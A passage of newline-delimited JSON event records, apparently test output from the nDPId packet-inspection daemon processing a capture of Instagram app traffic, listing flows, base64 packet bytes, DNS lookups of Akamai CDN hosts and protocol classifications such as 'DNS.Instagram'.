VV4Hn4LD8UYj4DVe7jU03hs2pjwcrb7gmFS7kTknZO3DuUT9fgJsy6KURhO+K\/8bThHqal\/Z8W3tw4RMe3sSaXjMHvQH2Hvdll3Ch\/40F0Eh\/pxQQdhu\/LLe0WQk6CAt9Mzwq1qW+QzgpV4WNltE\/SD9vm2\/ueK1866ka7KdUUGT4SkpFxF144b+bn4RakrsbmW2f3wIOhFDLD3RI8GR19cpoTf68Pit8+ad0F7Hlk6KNHYS8zEXmqGwa2+wGL8oKHopuwLpj9aXPM3IH7gd2Lr+f5hiCRF\/\/tf04pVyJFShpDZF6856ekomjCHvNoRoiVBOLSL3zpb0\/lgf4dGw3F8pnLGLUOv\/1KOQtEGquL1fNZ9paVuCoNaBDg=="} +00429{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":432710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0l5RAAEAGZd\/AqABnHw1dNISPAbuBQINCqOzTX4AQAc49dwAAAQEICgAD7nhbGGy9"} +00447{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":341,"source":"instagram.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1436720908464,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"192.168.0.103","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":464754,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAAAAAAAAAAAAAAACABFwABYvRcAAEABOq\/AqABnwKgAZwMDE08AAAAARQAAPFm5QABABkodwKgAZ63CKBTA+AG7+Mu3wgAAAACgAjkIlxQAAAIEBbQEAggKAAPuewAAAAABAwMG"} +00479{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":341,"source":"instagram.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1436720908464,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"192.168.0.103","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00478{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":464784,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAAAAAAAAAAAAAAACABFwABYvRcAAEABOq\/AqABnwKgAZwMDE08AAAAARQAAPFm5QABABkodwKgAZ63CKBTA+AG7+Mu3wgAAAACgAjkIlxQAAAIEBbQEAggKAAPuewAAAAABAwMG"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"instagram.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1436720908466,"flow_last_seen":0,"flow_tot_l4_data_len":981,"flow_min_l4_data_len":981,"flow_max_l4_data_len":981,"flow_avg_l4_data_len":981,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33763,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01713{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":466005,"pkt_caplen":1015,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1015,"pkt_l4_len":981,"pkt":"ABsv8H60QPMIw47hCABFAAPpXL5AAEAGnQDAqABnHw1dNIPjAbuhtt+gEOOOT4AYCqMt2AAAAQEICgAD7nvwIEj8FwMBA7DXpbZuuL+a3+A25sPf3KC8vtrovZX7fcip20iH4gbDYKHRurDuUNBuKdxbaf8w5NnTQml9NHFuaiFV9xaPTEtRbbFB9QgL8vlHsxgX1jfO9ZT6YB1lbKI1n65g8AZltFoEnCsmCE1IOxVyjBVZQT7po2puEnrF+kDYe4098KgZgFIZStFzMtmo9XOmOfNP+iRYctfjIeGJz8jQ1lFBvHEsbbQIygOCYn9oDm7CXWwj2LvemnGFKWnWYwKY2HgH6zrHi9xUd7CDCihcewk3nTPbbyiC\/Oifk2F1KjvO+B1lmqoGqUOYx21p5F3Yy7giHbLKSW+ti05sAV0fAKz7Z8+aVWuucvLaUbW+dSKFEZubeujNKIbXr7vCkpaZCatjRYZUgGNtsk2NBSXDlVMA\/v3I+TpoH8L5Ft2TQGs+aL8gJ2KVF6O2+ZYxZ96KcyiQmukk5fWpPjyBq7B0lhl8\/l+87aNWAB+03OvN8FhYV+S\/gv75JF3N388CBkyP4ME8FRt4W55y8LCj1tqiL9fodHUaE6F0ridmX8h0+Dsd82vVVQdbomtwYWVDLtEOA4gG2jJjDPllVf5J8xmFGHsA6M\/TDTHEfu8LTRQc1d6jnJGUH9Eeq7GjZHoFXfcfkpY9BGbqJWKidAdwRrWxc1XI2wcOmTiqvy3W0kHXHGHBqtUOPHt80fdZz3Php0HqhVjapNrBUUzl1zXCtqo+\/D90yVXLpIbqbzqp1UOs3uY9nrVZKeWZAphdT0b38N153F9QCQaE1j\/B3yRInHVxnxDr8\/wXaBQutJGt+fT8YapiNjDh2B5Fe\/VzJjaUK9\/s\/F4+YAkFfcLJJgpkyZ1FyjpKFDmEKLJS\/hWon3VkTkSPBJyUnbR06ETQWOqnwWcQKPcsS14LaHbhuVhKdt2tBBxQtcd0OoPW2aLOEDh9uAs1wndQ8cDwLHeWOSYDiwyq7hmF978JHTDY5T9UPy1BfhkIGr1397oeYW8tQLiHwwHKS6l11zZwAq8rb2bsBNkrNvLFUBdxAJWO7YtLy1slqNoFAyDdp7eKwmaP317WVsHGvyiwNdASVNzu1pbccCR6AgqCnTrbOntDjyNK4u2jrQuFCeBAMKVe19ptimavwWdWcfiYh6zgKaavEskV4nXhC01pvDJfX\/uuk2wAy46ocrpdos3RqXm7EpLF72d506O+IxXSSlwIplmFgawKqTtoIASL2SkYHX0Y3wKxf+vCHqdiD1nEkmvwUYQ8dkrjuTHBA1bDvg=="} +00427{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":518251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0kN9AAFUGV5QfDV00wKgAZwG7g+MQ445PobbjVYAQANn+UgAAAQEICvAgscMAA+57"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":345,"source":"instagram.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1436720908521,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.160","src_port":38817,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":521089,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0\/y1AAEAGBcbAqABnLiFGoJehAFBl4Bu99+Pb34ARFTc19wAAAQEICgAD7oGa3vT1"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":347,"source":"instagram.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1436720908523,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":51219,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":523744,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ABsv8H60QPMIw47hCABFAABL7oFAAEARewHAqABnCAgICMgTADUANxLxN7ABAAABAAAAAAAAEGlnY2RuLXBob3Rvcy1oLWEIYWthbWFpaGQDbmV0AAABAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":347,"source":"instagram.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1436720908523,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":51219,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"igcdn-photos-h-a.akamaihd.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":348,"source":"instagram.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1436720908524,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":33603,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":524019,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ABsv8H60QPMIw47hCABFAABL7oFAAEARewHAqABnCAgICINDADUANycOb2MBAAABAAAAAAAAEGlnY2RuLXBob3Rvcy1hLWEIYWthbWFpaGQDbmV0AAABAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":348,"source":"instagram.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1436720908524,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":33603,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"igcdn-photos-a-a.akamaihd.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":350,"source":"instagram.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1436720908531,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.185","src_port":57966,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":531495,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0NKZAAEAG2ADAqABnUlUaueJuAFA8SfXPvvA\/t4ARCm0uRAAAAQEICgAD7oJZ6tXr"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":351,"source":"instagram.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1436720908533,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":26540,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":533449,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ABsv8H60QPMIw47hCABFAABL7oJAAEARewDAqABnCAgICGesADUANyZVhbMBAAABAAAAAAAAEGlnY2RuLXBob3Rvcy1nLWEIYWthbWFpaGQDbmV0AAABAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":351,"source":"instagram.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1436720908533,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":26540,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"igcdn-photos-g-a.akamaihd.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":542421,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0lYxAADkGdmcuIUagwKgAZwBQl6H349vfZeAbvoARAeZr3wAAAQEICprfXG4AA+6B"} +00428{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":542604,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0\/y5AAEAGBcXAqABnLiFGoJehAFBl4Bu+9+Pb4IAQFTc19wAAAQEICgAD7oOa31xu"} +00427{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":567720,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0dopAADkGnRxSVRq5wKgAZwBQ4m6+8D+3PEn10IARAgj5iQAAAQEIClnq8RsAA+6C"} +00430{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":567842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0NKdAAEAG1\/\/AqABnUlUaueJuAFA8SfXQvvA\/uIAQCm0uRAAAAQEICgAD7oVZ6vEb"} +00751{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":570222,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"QPMIw47hABsv8H60CABFAAEjliwAADgRGn8ICAgIwKgAZwA1yBMBD5NUN7CBgAABAAoAAAAAEGlnY2RuLXBob3Rvcy1oLWEIYWthbWFpaGQDbmV0AAABAAHADAAFAAEAAAAZACoQaWdjZG4tcGhvdG9zLWgtYQhha2FtYWloZANuZXQJZWRnZXN1aXRlwCbAOwAFAAEAADHJABYFYTE0MDgGZHNwdzQzBmFrYW1hacAmwHEAAQABAAAAEwAELiFGrsBxAAEAAQAAABMABC4hRqHAcQABAAEAAAATAAQuIUawwHEAAQABAAAAEwAELiFGpsBxAAEAAQAAABMABC4hRo\/AcQABAAEAAAATAAQuIUagwHEAAQABAAAAEwAELiFGqcBxAAEAAQAAABMABC4hRrc="} +00685{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":360,"source":"instagram.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1436720908523,"flow_last_seen":1436720908570,"flow_tot_l4_data_len":326,"flow_min_l4_data_len":55,"flow_max_l4_data_len":271,"flow_avg_l4_data_len":163,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":51219,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"igcdn-photos-h-a.akamaihd.net","num_queries":1,"num_answers":10,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"46.33.70.174"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":361,"source":"instagram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1436720908572,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.174","src_port":44558,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":572816,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABsv8H60QPMIw47hCABFAAA8iDpAAEAGfKPAqABnLiFGrq4OAbuyG2a8AAAAAKACOQg2DQAAAgQFtAQCCAoAA+6GAAAAAAEDAwY="} +00622{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":575624,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"QPMIw47hABsv8H60CABFAADD9CwAADgRvN4ICAgIwKgAZwA1g0MAr7pub2OBgAABAAQAAAAAEGlnY2RuLXBob3Rvcy1hLWEIYWthbWFpaGQDbmV0AAABAAHADAAFAAEAAAAhACoQaWdjZG4tcGhvdG9zLWEtYQhha2FtYWloZANuZXQJZWRnZXN1aXRlwCbAOwAFAAEAAFRcABYFYTEwMDEGZHNwdzQwBmFrYW1hacAmwHEAAQABAAAAEwAEUlUamsBxAAEAAQAAABMABFJVGpk="} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":362,"source":"instagram.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_first_seen":1436720908524,"flow_last_seen":1436720908575,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":55,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":33603,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"igcdn-photos-a-a.akamaihd.net","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"82.85.26.154"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":363,"source":"instagram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1436720908576,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41181,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":576723,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABsv8H60QPMIw47hCABFAAA8nwVAAEAGbbjAqABnUlUamqDdAbvgTnGDAAAAAKACOQguLQAAAgQFtAQCCAoAA+6GAAAAAAEDAwY="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":364,"source":"instagram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1436720908577,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41182,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":577363,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABsv8H60QPMIw47hCABFAAA8GZtAAEAG8yLAqABnUlUamqDeAbviOvcdAAAAAKACOQguLQAAAgQFtAQCCAoAA+6GAAAAAAEDAwY="} +00622{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":579988,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"QPMIw47hABsv8H60CABFAADD9DAAADgRvNoICAgIwKgAZwA1Z6wAr0GdhbOBgAABAAQAAAAAEGlnY2RuLXBob3Rvcy1nLWEIYWthbWFpaGQDbmV0AAABAAHADAAFAAEAAAA3ACoQaWdjZG4tcGhvdG9zLWctYQhha2FtYWloZANuZXQJZWRnZXN1aXRlwCbAOwAFAAEAAFQ9ABYFYTEwMDcGZHNwdzQzBmFrYW1hacAmwHEAAQABAAAAEwAELiFGiMBxAAEAAQAAABMABC4hRo4="} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":365,"source":"instagram.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":2,"flow_first_seen":1436720908533,"flow_last_seen":1436720908579,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":55,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":26540,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"igcdn-photos-g-a.akamaihd.net","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"46.33.70.136"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":366,"source":"instagram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1436720908581,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.136","src_port":60908,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":581361,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABsv8H60QPMIw47hCABFAAA8pvhAAEAGXgvAqABnLiFGiO3sAbtrdUh\/AAAAAKACOQg15wAAAgQFtAQCCAoAA+6HAAAAAAEDAwY="} +00440{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":594270,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"QPMIw47hABsv8H60CABFAAA8AABAADkGC94uIUauwKgAZwG7rg7lq\/ivshtmvaASOJCK2QAAAgQFlgQCCAquiQq2AAPuhgEDAwU="} +00427{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":594484,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0iDtAAEAGfKrAqABnLiFGrq4OAbuyG2a95av4sIAQAOU2BQAAAQEICgAD7oiuiQq2"} +01038{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":596986,"pkt_caplen":516,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":516,"pkt_l4_len":482,"pkt":"ABsv8H60QPMIw47hCABFAAH2iDxAAEAGeufAqABnLiFGrq4OAbuyG2a95av4sIAYAOVksQAAAQEICgAD7oiuiQq2FgMBAb0BAAG5AwFVop8Msco7JTYCiSEgd5WJ6x+wAZ09x9pH2BTgSj6HeiAsyBjUAkvNj+Oeiua6fMd0i3Te2wBseBO7KkfIYnjxtQBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAASoAAAAiACAAAB1pZ2Nkbi1waG90b3MtaC1hLmFrYW1haWhkLm5ldAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwDAgpVMjhoyukvbzvvgY8vKz+CVeFzcF\/g\/VPAKm5B